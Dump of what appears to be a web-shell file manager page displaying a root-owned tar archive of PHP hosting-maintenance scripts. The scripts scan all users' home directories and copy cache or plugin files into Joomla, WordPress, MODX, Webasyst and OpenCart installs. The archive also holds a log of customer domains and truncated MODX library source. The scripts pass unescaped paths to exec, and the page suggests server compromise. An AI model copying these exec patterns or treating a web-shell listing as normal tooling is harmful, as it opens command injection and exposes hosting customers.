????

Your IP : 18.188.130.37


Current Path : /root/
Upload File :
Current File : //root/pack.tar

cms/000755 000000 000765 00000000000 14216317237 013020 5ustar00rootnovadesign000000 000000 cms/joomla/000755 000000 000765 00000000000 14215045564 014301 5ustar00rootnovadesign000000 000000 cms/opencart/000755 000000 000765 00000000000 14215045567 014636 5ustar00rootnovadesign000000 000000 cms/PaxHeader/pack.tar000644 000000 000765 00000000203 14215032165 016403 xustar00rootnovadesign000000 000000 27 mtime=1647588469.394178
22 GNU.sparse.major=1
22 GNU.sparse.minor=0
32 GNU.sparse.name=cms/pack.tar
28 GNU.sparse.realsize=1024
cms/GNUSparseFile.0/pack.tar000644 000000 000765 00000001000 14215032165 017173 0ustar00rootnovadesign000000 000000 2
0
0
1024
0
cms/joomla_r.php000644 000765 000765 00000004075 14214545331 016531 0ustar00novadesignnovadesign000000 000000 <?php
$sourceCacheDirectory = __DIR__.'/joomla/cache/';
$sourceCacheDirectory1 = __DIR__.'/joomla/cache1/';
$logFile = __DIR__.'/joomla/log-success.txt';
$homedir='/sata*/home/users/';
$homedir_pcre='/sata[\d]/home/users/';
$cmd = 'find '.$homedir.' -type d -name joomla';

function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}

if (exec($cmd, $joomlaDirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($joomlaDirs) == 0) {
    echo 'Nothing found.' . PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
foreach ($joomlaDirs as $joomlaDir) {
    $joomlaCacheDir = $joomlaDir . '/cache';
    if (!(is_dir($joomlaCacheDir) && preg_match('#/libraries/joomla/cache$#', $joomlaCacheDir))) {
        continue;
    }                   
    if (0==preg_match('#'.$homedir_pcre.'[a-z0-9]+/www/(.*)/#U',$joomlaDir, $domain)){
        echo "s2: $joomlaDir\n";
	continue;
    }
    #if($domain[1]==$ip=gethostbyname($domain[1])){
#	echo "s3: $joomlaDir\n";
#        continue;
#    }

    #exec('whois '.$ip,$ripe);
    #if (preg_match('/AS42331/',join("\n",$ripe))==0){
    #    echo "s4: $joomlaDir\n";
    #    continue;
    #}

    $joomlaCacheDirDirsFiles = scandir($joomlaCacheDir);
    if ($joomlaCacheDirDirsFiles == ['.', '..', 'controller', 'storage'] && isDirEmpty($joomlaCacheDir.'/controller')) {
	fwrite($logFileResource, $joomlaCacheDir.PHP_EOL);
        exec('cp -R '.$sourceCacheDirectory.' '.$joomlaCacheDir);
	$totalFixed++;
    }elseif ($joomlaCacheDirDirsFiles == ['.', '..', 'handler', 'storage'] && isDirEmpty($joomlaCacheDir.'/handler') && isDirEmpty($joomlaCacheDir.'/storage')) {
        fwrite($logFileResource, $joomlaCacheDir.PHP_EOL);
        exec('cp -R '.$sourceCacheDirectory1.' '.$joomlaCacheDir);
        $totalFixed++;
    }else{
	echo "s5: $joomlaDir\n";
	continue;
    }
}
fclose($logFileResource);

echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/webasyst/000755 000000 000765 00000000000 14215045572 014660 5ustar00rootnovadesign000000 000000 cms/wordpress.php000644 000000 000000 00000005516 14214566150 014513 0ustar00rootwheel000000 000000 <?php
$logFile = __DIR__.'/wordpress/log-wordpress-wpml-success.txt';
$wordpressWpmlCacheDirectoryScript = __DIR__.'/wordpress/class-wpml-cache-directory.php';
$wordpressInterfaceWpmlLogScript = __DIR__.'/wordpress/interface-wpml-log.php';
$plugins = array(
    'gravityforms-multilingual' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
    'sitepress-multilingual-cms' => array(
        array(
            'search' => '/classes/logs/interface-wpml-log.php',
            'copy' => $wordpressInterfaceWpmlLogScript,
        ),
        array(
            'search' => '/vendor/wpml-shared/wpml-lib-cache/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        ),
    ),
    'wpml-media-translation' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
    'wpml-string-translation' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
    'wpml-translation-management' => array(
        array(
            'search' => '/vendor/wpml/commons/src/cache/class-wpml-cache-directory.php',
            'copy' => $wordpressWpmlCacheDirectoryScript,
        )
    ),
);
$cmd = 'find /sata*/home/users/ -type d \( '.implode(' -o ', array_map(function($plugin){ return '-name "'.$plugin.'"';},array_keys($plugins))).' \)';

#$cmd = 'find /sata2/home/users/rentroms/www/ -type d \( '.implode(' -o ', array_map(function($plugin){ return '-name "'.$plugin.'"';},array_keys($plugins))).' \)';

if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}

$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
foreach ($dirs as $dir) {
    $plugin = basename($dir);
    if (!preg_match('#/wp-content/plugins/'.$plugin.'$#', $dir)) {
        continue;
    }
    foreach ($plugins[$plugin] as $item) {
        $checkFile = $dir . $item['search'];
        $checkDir = dirname($checkFile);
        if (!file_exists($checkFile)) {
                $cmdCp = 'cp '.$item['copy'].' '.$checkFile;
                exec($cmdCp);
                fwrite($logFileResource, $checkFile.PHP_EOL);
                $sitePathChecked[$dir] = 'fixed';
                $totalFixed++;
            }
    }
}
fclose($logFileResource);
print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;
cms/modx.php000644 000000 000000 00000002235 14216317237 013427 0ustar00rootwheel000000 000000 <?php
function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}
$logFile = __DIR__.'/modx/log-success.txt';
$restoreCacheDir = __DIR__.'/modx/cache/';
$cmd = 'find /sata2/home/users/ -type d -name xpdo';
if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
// print_r($dirs);
foreach ($dirs as $dir) {
    $cacheDir = $dir .'/cache';
    if (isDirEmpty($cacheDir)){
        $cmd = 'cp -R '.$restoreCacheDir.'* '.$cacheDir;
	echo $cmd."\n";
        exec($cmd);
            fwrite($logFileResource, $dir.PHP_EOL);
            $sitePathChecked[$dir] = 'fixed';
            $totalFixed++;
    } else {
        $sitePathChecked[$dir] = 'not updated, cache or cache/adapters not empty';
    }
}
fclose($logFileResource);
echo 'sitePathChecked: '.PHP_EOL;
print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/wordpress-wp-optimize.php000644 000000 000000 00000004460 14215044755 016775 0ustar00rootwheel000000 000000 <?php
function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}
$logFile = __DIR__.'/wordpress/log-wordpress-wp-optimize-restore-versions-success.txt';
$wpOptimizeVersionsDir = __DIR__.'/wordpress/wp-optimize-versions/';
$cmd = 'find /sata*/home/users/ -type d -name wp-optimize';
#$cmd = 'find /sata1/home/users/maska/www/ -type d -name wp-optimize';
if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
$versionsNotFound=array();
foreach ($dirs as $dir) {
    if (!preg_match('#/wp-content/plugins/wp-optimize$#', $dir)) {
        continue;
    }
    $wpOptimizePhpContent = file_get_contents($dir.'/wp-optimize.php');
    $pattern = '/Version:\s*(\d\.\d)/';
    if (!preg_match('/Version:\s*([\d\.]+)/',$wpOptimizePhpContent, $matches)) {
        continue;
    }
    $cacheDir = $dir.'/cache';
    if (!is_dir($cacheDir)) {
        $sitePathChecked[$dir] = 'cache dir not found';
        continue;
    }
    if (!isDirEmpty($cacheDir)){
        $sitePathChecked[$dir] = 'cache dir not empty';
        continue;
    }
    
    switch(true){
    case $matches[1]=='3.2.1':
    case $matches[1]=='3.2.2':
    case $matches[1]=='3.2.0':
	$version='3.2.2';
	break;
    default:
	preg_match('/^(\d\.\d)/', $matches[1], $res);
	$version=$res[1];
    }

    $wpOptimizeVersionsDirCurrentVersion = $wpOptimizeVersionsDir.'wp-optimize.'.$version.'/';
    if (!is_dir($wpOptimizeVersionsDirCurrentVersion)) {
        $sitePathChecked[$dir] = $wpOptimizeVersionsDirCurrentVersion . ' - not found';
        $versionsNotFound[$version] = true;
        continue;
    }

    $cmd = 'cp -R '.$wpOptimizeVersionsDirCurrentVersion.'wp-optimize/cache/* '.$cacheDir;
    echo $cmd."\n";
    exec($cmd);
    fwrite($logFileResource, $dir.PHP_EOL);
    $sitePathChecked[$dir] = 'fixed';
    $totalFixed++;
}
fclose($logFileResource);
echo 'sitePathChecked: '.PHP_EOL;
print_r($sitePathChecked);
echo 'wp-optimize versions not found (for restore cache): '.PHP_EOL;
print_r(array_keys($versionsNotFound));
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/wordpress/000755 000000 000765 00000000000 14215045577 015054 5ustar00rootnovadesign000000 000000 cms/webasyst-fix.php000644 000000 000000 00000002627 14214667143 015114 0ustar00rootwheel000000 000000 <?php
function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}
$logFile = __DIR__.'/webasyst/log-success.txt';
$restoreCacheDir = __DIR__.'/webasyst/cache/';
$cmd = 'find /sata*/home/users/ -type d -name wa-system';
if (exec($cmd, $dirs) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
if (count($dirs) == 0) {
    echo 'nothing found'.PHP_EOL;
    exit();
}
$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$totalFixed = 0;
$sitePathChecked=array();
// print_r($dirs);
foreach ($dirs as $dir) {
    $cacheDir = $dir .'/cache';
    $cacheAdaptersDir = $cacheDir.'/adapters';
    if (isDirEmpty($cacheDir)
        ||
        (
            scandir($cacheDir) == ['.', '..', 'adapters']
            && is_dir($cacheAdaptersDir)
            && isDirEmpty($cacheAdaptersDir)
        )
    ) {
        $cmd = 'cp -R '.$restoreCacheDir.'* '.$cacheDir;
	echo $cmd."\n";
        exec($cmd);
            fwrite($logFileResource, $dir.PHP_EOL);
            $sitePathChecked[$dir] = 'fixed';
            $totalFixed++;
    } else {
        $sitePathChecked[$dir] = 'not updated, cache or cache/adapters not empty';
    }
}
fclose($logFileResource);
echo 'sitePathChecked: '.PHP_EOL;
print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/opencart-script.php000644 000000 000000 00000004253 14214311776 015577 0ustar00rootwheel000000 000000 <?php
$sourceCacheDirectory = __DIR__.'/opencart/cache/';
$logFile = __DIR__.'/opencart/log-success.txt';

$dirs=array(
'/sata1/home/users/',
'/sata2/home/users/'
);


function isDirEmpty($dir)
{
    if (!is_readable($dir)) {
        return false;
    }
    return (count(scandir($dir)) == 2);
}

$logFileResource = fopen($logFile, 'a') or die("Unable to open log file: $logFile");
$sitePathChecked = array();
$totalFixed = 0;

foreach($dirs as $usersDir){
$cmd = 'find '.$usersDir.' -type f -name amazonus.php';

if (exec($cmd, $files) === false) {
    echo 'Failed to run command: ' . $cmd . PHP_EOL;
    exit();
};
foreach ($files as $file) {
    //echo $file.PHP_EOL;
    if (!preg_match('#('.$usersDir.'[a-z0-9]+/www/.+)/.*#U',$file, $matches)) {
        continue;
    }
    $sitePath = $matches[1];
    if (isset($sitePathChecked[$sitePath])) {
        continue;
    }
    $sitePathChecked[$sitePath] = '';
    if (!file_exists($sitePath.'/index.php')) {
        $sitePathChecked[$sitePath] = 'index.php not found';
        continue;
    }
    $indexPhpContent = file_get_contents($sitePath.'/index.php');
    $pattern1 = "/start\s*\(\s*'catalog'\s*\)\s*/m";
    $pattern2 = "/require_once\s*\(\s*DIR_SYSTEM\s*\.\s*'framework\.php'\s*\)\s*/m";
    if (!preg_match($pattern1, $indexPhpContent)
        && !preg_match($pattern2, $indexPhpContent)
    ) {
        $sitePathChecked[$sitePath] = 'failed to preg_match';
        echo "err 4:".$file."\n";        
        continue;
    }

    $cacheDir = $sitePath . '/system/library/cache';
    if (!is_dir($cacheDir) || !isDirEmpty($cacheDir)) {
        $sitePathChecked[$sitePath] = 'cache dir not found or empty';
        echo "err 5:".$cacheDir."\n";        
        continue;
    }

    $cmd = 'cp -R '.$sourceCacheDirectory.'* '.$cacheDir;
    exec($cmd);
    //if (exec($cmd) !== false) {
        fwrite($logFileResource, $sitePath.PHP_EOL);
    //    $sitePathChecked[$sitePath] = 'fixed';
            $totalFixed++;
    //} else {
    //    $sitePathChecked[$sitePath] = 'failed cmd: '.$cmd;
    //}
}
}
fclose($logFileResource);
//print_r($sitePathChecked);
echo 'done, total fixed: '.$totalFixed.PHP_EOL;cms/modx/000755 000000 000765 00000000000 14216315735 013770 5ustar00rootnovadesign000000 000000 cms/modx/log-success.txt000644 000000 000765 00000000765 14216317357 016772 0ustar00rootnovadesign000000 000000 /sata2/home/users/fonconi/www/www.fonconi.sumy.ua/core/xpdo
/sata2/home/users/boss1/www/www.boss.net.ua/core/xpdo
/sata2/home/users/kormir/www/www.kormir.it/core/xpdo
/sata2/home/users/fonconi/www/www.fonconi.sumy.ua/core/xpdo
/sata2/home/users/boss1/www/www.boss.net.ua/core/xpdo
/sata2/home/users/kormir/www/www.kormir.it/core/xpdo
/sata2/home/users/fonconi/www/www.fonconi.sumy.ua/core/xpdo
/sata2/home/users/boss1/www/www.boss.net.ua/core/xpdo
/sata2/home/users/kormir/www/www.kormir.it/core/xpdo
cms/modx/cache/000755 000000 000765 00000000000 14216315225 015025 5ustar00rootnovadesign000000 000000 cms/modx/cache/xpdocachemanager.class.php000644 000000 000000 00000133145 13644004674 021076 0ustar00rootwheel000000 000000 <?php
/*
 * Copyright 2010-2015 by MODX, LLC.
 *
 * This file is part of xPDO.
 *
 * xPDO is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * xPDO is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
 * A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with
 * xPDO; if not, write to the Free Software Foundation, Inc., 59 Temple Place,
 * Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * Classes implementing a default cache implementation for xPDO.
 *
 * @package xpdo
 * @subpackage cache
 */

/**
 * The default cache manager implementation for xPDO.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOCacheManager {
    const CACHE_PHP = 0;
    const CACHE_JSON = 1;
    const CACHE_SERIALIZE = 2;
    const CACHE_DIR = 'objects/';
    const LOG_DIR = 'logs/';

    protected $xpdo= null;
    protected $caches= array();
    protected $options= array();
    protected $_umask= null;

    public function __construct(& $xpdo, $options = array()) {
        $this->xpdo= & $xpdo;
        $this->options= $options;
        $this->_umask= umask();
    }

    /**
     * Get an instance of a provider which implements the xPDOCache interface.
     */
    public function & getCacheProvider($key = '', $options = array()) {
        $objCache = null;
        if (empty($key)) {
            $key = $this->getOption(xPDO::OPT_CACHE_KEY, $options, 'default');
        }
        $objCacheClass= 'xPDOFileCache';
        if (!isset($this->caches[$key]) || !is_object($this->caches[$key])) {
            if ($cacheClass = $this->getOption($key . '_' . xPDO::OPT_CACHE_HANDLER, $options, $this->getOption(xPDO::OPT_CACHE_HANDLER, $options))) {
                $cacheClass = $this->xpdo->loadClass($cacheClass, XPDO_CORE_PATH, false, true);
                if ($cacheClass) {
                    $objCacheClass= $cacheClass;
                }
            }
            $options[xPDO::OPT_CACHE_KEY]= $key;
            $this->caches[$key] = new $objCacheClass($this->xpdo, $options);
            if (empty($this->caches[$key]) || !$this->caches[$key]->isInitialized()) {
                $this->caches[$key] = new xPDOFileCache($this->xpdo, $options);
            }
            $objCache = $this->caches[$key];
            $objCacheClass= get_class($objCache);
        } else {
            $objCache =& $this->caches[$key];
            $objCacheClass= get_class($objCache);
        }
        if ($this->xpdo->getDebug() === true) $this->xpdo->log(xPDO::LOG_LEVEL_DEBUG, "Returning {$objCacheClass}:{$key} cache provider from available providers: " . print_r(array_keys($this->caches), 1));
        return $objCache;
    }

    /**
     * Get an option from supplied options, the cacheManager options, or xpdo itself.
     *
     * @param string $key Unique identifier for the option.
     * @param array $options A set of explicit options to override those from xPDO or the
     * xPDOCacheManager implementation.
     * @param mixed $default An optional default value to return if no value is found.
     * @return mixed The value of the option.
     */
    public function getOption($key, $options = array(), $default = null) {
        $option = $default;
        if (is_array($key)) {
            if (!is_array($option)) {
                $default= $option;
                $option= array();
            }
            foreach ($key as $k) {
                $option[$k]= $this->getOption($k, $options, $default);
            }
        } elseif (is_string($key) && !empty($key)) {
            if (is_array($options) && !empty($options) && array_key_exists($key, $options)) {
                $option = $options[$key];
            } elseif (is_array($this->options) && !empty($this->options) && array_key_exists($key, $this->options)) {
                $option = $this->options[$key];
            } else {
                $option = $this->xpdo->getOption($key, null, $default);
            }
        }
        return $option;
    }

    /**
     * Get default folder permissions based on umask
     *
     * @return integer The default folder permissions.
     */
    public function getFolderPermissions() {
        $perms = 0777;
        $perms = $perms & (0777 - $this->_umask);
        return $perms;
    }

    /**
     * Get default file permissions based on umask
     *
     * @return integer The default file permissions.
     */
    public function getFilePermissions() {
        $perms = 0666;
        $perms = $perms & (0777 - $this->_umask);
        return $perms;
    }

    /**
     * Get the absolute path to a writable directory for storing files.
     *
     * @access public
     * @return string The absolute path of the xPDO cache directory.
     */
    public function getCachePath() {
        $cachePath= false;
        if (empty($this->xpdo->cachePath)) {
            if (!isset ($this->xpdo->config['cache_path'])) {
                while (true) {
                    if (!empty ($_ENV['TMP'])) {
                        if ($cachePath= strtr($_ENV['TMP'], '\\', '/'))
                            break;
                    }
                    if (!empty ($_ENV['TMPDIR'])) {
                        if ($cachePath= strtr($_ENV['TMPDIR'], '\\', '/'))
                            break;
                    }
                    if (!empty ($_ENV['TEMP'])) {
                        if ($cachePath= strtr($_ENV['TEMP'], '\\', '/'))
                            break;
                    }
                    if ($temp_file= @ tempnam(md5(uniqid(rand(), TRUE)), '')) {
                        $cachePath= strtr(dirname($temp_file), '\\', '/');
                        @ unlink($temp_file);
                    }
                    break;
                }
                if ($cachePath) {
                    if ($cachePath[strlen($cachePath) - 1] != '/') $cachePath .= '/';
                    $cachePath .= '.xpdo-cache';
                }
            }
            else {
                $cachePath= strtr($this->xpdo->config['cache_path'], '\\', '/');
            }
        } else {
            $cachePath= $this->xpdo->cachePath;
        }
        if ($cachePath) {
            $perms = $this->getOption('new_folder_permissions', null, $this->getFolderPermissions());
            if (is_string($perms)) $perms = octdec($perms);
            if (@ $this->writeTree($cachePath, $perms)) {
                if ($cachePath[strlen($cachePath) - 1] != '/') $cachePath .= '/';
                if (!is_writeable($cachePath)) {
                    @ chmod($cachePath, $perms);
                }
            } else {
                $cachePath= false;
            }
        }
        return $cachePath;
    }

    /**
     * Writes a file to the filesystem.
     *
     * @access public
     * @param string $filename The absolute path to the location the file will
     * be written in.
     * @param string $content The content of the newly written file.
     * @param string $mode The php file mode to write in. Defaults to 'wb'. Note that this method always
     * uses a (with b or t if specified) to open the file and that any mode except a means existing file
     * contents will be overwritten.
     * @param array $options An array of options for the function.
     * @return int|bool Returns the number of bytes written to the file or false on failure.
     */
    public function writeFile($filename, $content, $mode= 'wb', $options= array()) {
        $written= false;
        if (!is_array($options)) {
            $options = is_scalar($options) && !is_bool($options) ? array('new_folder_permissions' => $options) : array();
        }
        $dirname= dirname($filename);
        if (!file_exists($dirname)) {
            $this->writeTree($dirname, $options);
        }
        $mode = str_replace('+', '', $mode);
        switch ($mode[0]) {
            case 'a':
                $append = true;
                break;
            default:
                $append = false;
                break;
        }
        $fmode = (strlen($mode) > 1 && in_array($mode[1], array('b', 't'))) ? "a{$mode[1]}" : 'a';
        $file= @fopen($filename, $fmode);
        if ($file) {
            if ($append === true) {
                $written= fwrite($file, $content);
            } else {
                $locked = false;
                $attempt = 1;
                $attempts = (integer) $this->getOption(xPDO::OPT_CACHE_ATTEMPTS, $options, 1);
                $attemptDelay = (integer) $this->getOption(xPDO::OPT_CACHE_ATTEMPT_DELAY, $options, 1000);
                while (!$locked && ($attempts === 0 || $attempt <= $attempts)) {
                    if ($this->getOption('use_flock', $options, true)) {
                        $locked = flock($file, LOCK_EX | LOCK_NB);
                    } else {
                        $lockFile = $this->lockFile($filename, $options);
                        $locked = $lockFile != false;
                    }
                    if (!$locked && $attemptDelay > 0 && ($attempts === 0 || $attempt < $attempts)) {
                        usleep($attemptDelay);
                    }
                    $attempt++;
                }
                if ($locked) {
                    fseek($file, 0);
                    ftruncate($file, 0);
                    $written= fwrite($file, $content);
                    if ($this->getOption('use_flock', $options, true)) {
                        flock($file, LOCK_UN);
                    } else {
                        $this->unlockFile($filename, $options);
                    }
                }
            }
            @fclose($file);
            if ($written !== false && $fileMode = $this->getOption('new_file_permissions', $options, false)) {
                if (is_string($fileMode)) $fileMode = octdec($fileMode);
                @ chmod($filename, $fileMode);
            }
        }
        return ($written !== false);
    }

    /**
     * Add an exclusive lock to a file for atomic write operations in multi-threaded environments.
     *
     * xPDO::OPT_USE_FLOCK must be set to false (or 0) or xPDO will assume flock is reliable.
     *
     * @param string $file The name of the file to lock.
     * @param array $options An array of options for the process.
     * @return boolean True only if the current process obtained an exclusive lock for writing.
     */
    public function lockFile($file, array $options = array()) {
        $locked = false;
        $lockDir = $this->getOption('lock_dir', $options, $this->getCachePath() . 'locks' . DIRECTORY_SEPARATOR);
        if ($this->writeTree($lockDir, $options)) {
            $lockFile = $this->lockFileName($file, $options);
            if (!file_exists($lockFile)) {
                $myPID = (XPDO_CLI_MODE || !isset($_SERVER['SERVER_ADDR']) ? gethostname() : $_SERVER['SERVER_ADDR']) . '.' . getmypid();
                $myPID .= mt_rand();
                $tmpLockFile = "{$lockFile}.{$myPID}";
                if (file_put_contents($tmpLockFile, $myPID)) {
                    if (link($tmpLockFile, $lockFile)) {
                        $locked = true;
                    }
                    @unlink($tmpLockFile);
                }
            }
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "The lock_dir at {$lockDir} is not writable and could not be created");
        }
        if (!$locked) $this->xpdo->log(xPDO::LOG_LEVEL_WARN, "Attempt to lock file {$file} failed");
        return $locked;
    }

    /**
     * Release an exclusive lock on a file created by lockFile().
     *
     * @param string $file The name of the file to unlock.
     * @param array $options An array of options for the process.
     */
    public function unlockFile($file, array $options = array()) {
        @unlink($this->lockFileName($file, $options));
    }

    /**
     * Get an absolute path to a lock file for a specified file path.
     *
     * @param string $file The absolute path to get the lock filename for.
     * @param array $options An array of options for the process.
     * @return string The absolute path for the lock file
     */
    protected function lockFileName($file, array $options = array()) {
        $lockDir = $this->getOption('lock_dir', $options, $this->getCachePath() . 'locks' . DIRECTORY_SEPARATOR);
        return $lockDir . preg_replace('/\W/', '_', $file) . $this->getOption(xPDO::OPT_LOCKFILE_EXTENSION, $options, '.lock');
    }

    /**
     * Recursively writes a directory tree of files to the filesystem
     *
     * @access public
     * @param string $dirname The directory to write
     * @param array $options An array of options for the function. Can also be a value representing
     * a permissions mode to write new directories with, though this is deprecated.
     * @return boolean Returns true if the directory was successfully written.
     */
    public function writeTree($dirname, $options= array()) {
        $written= false;
        if (!empty ($dirname)) {
            if (!is_array($options)) $options = is_scalar($options) && !is_bool($options) ? array('new_folder_permissions' => $options) : array();
            $mode = $this->getOption('new_folder_permissions', $options, $this->getFolderPermissions());
            if (is_string($mode)) $mode = octdec($mode);
            $dirname= strtr(trim($dirname), '\\', '/');
            if ($dirname[strlen($dirname) - 1] == '/') $dirname = substr($dirname, 0, strlen($dirname) - 1);
            if (is_dir($dirname) || (is_writable(dirname($dirname)) && @mkdir($dirname, $mode))) {
                $written= true;
            } elseif (!$this->writeTree(dirname($dirname), $options)) {
                $written= false;
            } else {
                $written= @ mkdir($dirname, $mode);
            }
            if ($written) {
                @ chmod($dirname, $mode);
            }
        }
        return $written;
    }

    /**
     * Copies a file from a source file to a target directory.
     *
     * @access public
     * @param string $source The absolute path of the source file.
     * @param string $target The absolute path of the target destination
     * directory.
     * @param array $options An array of options for this function.
     * @return boolean|array Returns true if the copy operation was successful, or a single element
     * array with filename as key and stat results of the successfully copied file as a result.
     */
    public function copyFile($source, $target, $options = array()) {
        $copied= false;
        if (!is_array($options)) $options = is_scalar($options) && !is_bool($options) ? array('new_file_permissions' => $options) : array();
        if (func_num_args() === 4) $options['new_folder_permissions'] = func_get_arg(3);
        if ($this->writeTree(dirname($target), $options)) {
            $existed= file_exists($target);
            if ($existed && $this->getOption('copy_newer_only', $options, false) && (($ttime = filemtime($target)) > ($stime = filemtime($source)))) {
                $this->xpdo->log(xPDO::LOG_LEVEL_INFO, "xPDOCacheManager->copyFile(): Skipping copy of newer file {$target} ({$ttime}) from {$source} ({$stime})");
            } else {
                $copied= copy($source, $target);
            }
            if ($copied) {
                if (!$this->getOption('copy_preserve_permissions', $options, false)) {
                    $fileMode = $this->getOption('new_file_permissions', $options, $this->getFilePermissions());
                    if (is_string($fileMode)) $fileMode = octdec($fileMode);
                    @ chmod($target, $fileMode);
                }
                if ($this->getOption('copy_preserve_filemtime', $options, true)) @ touch($target, filemtime($source));
                if ($this->getOption('copy_return_file_stat', $options, false)) {
                    $stat = stat($target);
                    if (is_array($stat)) {
                        $stat['overwritten']= $existed;
                        $copied = array($target => $stat);
                    }
                }
            }
        }
        if (!$copied) {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOCacheManager->copyFile(): Could not copy file {$source} to {$target}");
        }
        return $copied;
    }

    /**
     * Recursively copies a directory tree from a source directory to a target
     * directory.
     *
     * @access public
     * @param string $source The absolute path of the source directory.
     * @param string $target The absolute path of the target destination directory.
     * @param array $options An array of options for this function.
     * @return array|boolean Returns an array of all files and folders that were copied or false.
     */
    public function copyTree($source, $target, $options= array()) {
        $copied= false;
        $source= strtr($source, '\\', '/');
        $target= strtr($target, '\\', '/');
        if ($source[strlen($source) - 1] == '/') $source = substr($source, 0, strlen($source) - 1);
        if ($target[strlen($target) - 1] == '/') $target = substr($target, 0, strlen($target) - 1);
        if (is_dir($source . '/')) {
            if (!is_array($options)) $options = is_scalar($options) && !is_bool($options) ? array('new_folder_permissions' => $options) : array();
            if (func_num_args() === 4) $options['new_file_permissions'] = func_get_arg(3);
            if (!is_dir($target . '/')) {
                $this->writeTree($target . '/', $options);
            }
            if (is_dir($target)) {
                if (!is_writable($target)) {
                    $dirMode = $this->getOption('new_folder_permissions', $options, $this->getFolderPermissions());
                    if (is_string($dirMode)) $dirMode = octdec($dirMode);
                    if (! @ chmod($target, $dirMode)) {
                        $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "{$target} is not writable and permissions could not be modified.");
                    }
                }
                if ($handle= @ opendir($source)) {
                    $excludeItems = $this->getOption('copy_exclude_items', $options, array('.', '..','.svn','.svn/','.svn\\'));
                    $excludePatterns = $this->getOption('copy_exclude_patterns', $options);
                    $copiedFiles = array();
                    $error = false;
                    while (false !== ($item= readdir($handle))) {
                        $copied = false;
                        if (is_array($excludeItems) && !empty($excludeItems) && in_array($item, $excludeItems)) continue;
                        if (is_array($excludePatterns) && !empty($excludePatterns) && $this->matches($item, $excludePatterns)) continue;
                        $from= $source . '/' . $item;
                        $to= $target . '/' . $item;
                        if (is_dir($from)) {
                            if (!($copied= $this->copyTree($from, $to, $options))) {
                                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not copy directory {$from} to {$to}");
                                $error = true;
                            } else {
                                $copiedFiles = array_merge($copiedFiles, $copied);
                            }
                        } elseif (is_file($from)) {
                            if (!$copied= $this->copyFile($from, $to, $options)) {
                                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not copy file {$from} to {$to}; could not create directory.");
                                $error = true;
                            } else {
                                $copiedFiles[] = $to;
                            }
                        } else {
                            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not copy {$from} to {$to}");
                        }
                    }
                    @ closedir($handle);
                    if (!$error) $copiedFiles[] = $target;
                    $copied = $copiedFiles;
                } else {
                    $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not read source directory {$source}");
                }
            } else {
                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Could not create target directory {$target}");
            }
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "Source directory {$source} does not exist.");
        }
        return $copied;
    }

    /**
     * Recursively deletes a directory tree of files.
     *
     * @access public
     * @param string $dirname An absolute path to the source directory to delete.
     * @param array $options An array of options for this function.
     * @return boolean Returns true if the deletion was successful.
     */
    public function deleteTree($dirname, $options= array('deleteTop' => false, 'skipDirs' => false, 'extensions' => array('.cache.php'))) {
        $result= false;
        if (is_dir($dirname)) { /* Operate on dirs only */
            if (substr($dirname, -1) != '/') {
                $dirname .= '/';
            }
            $result= array ();
            if (!is_array($options)) {
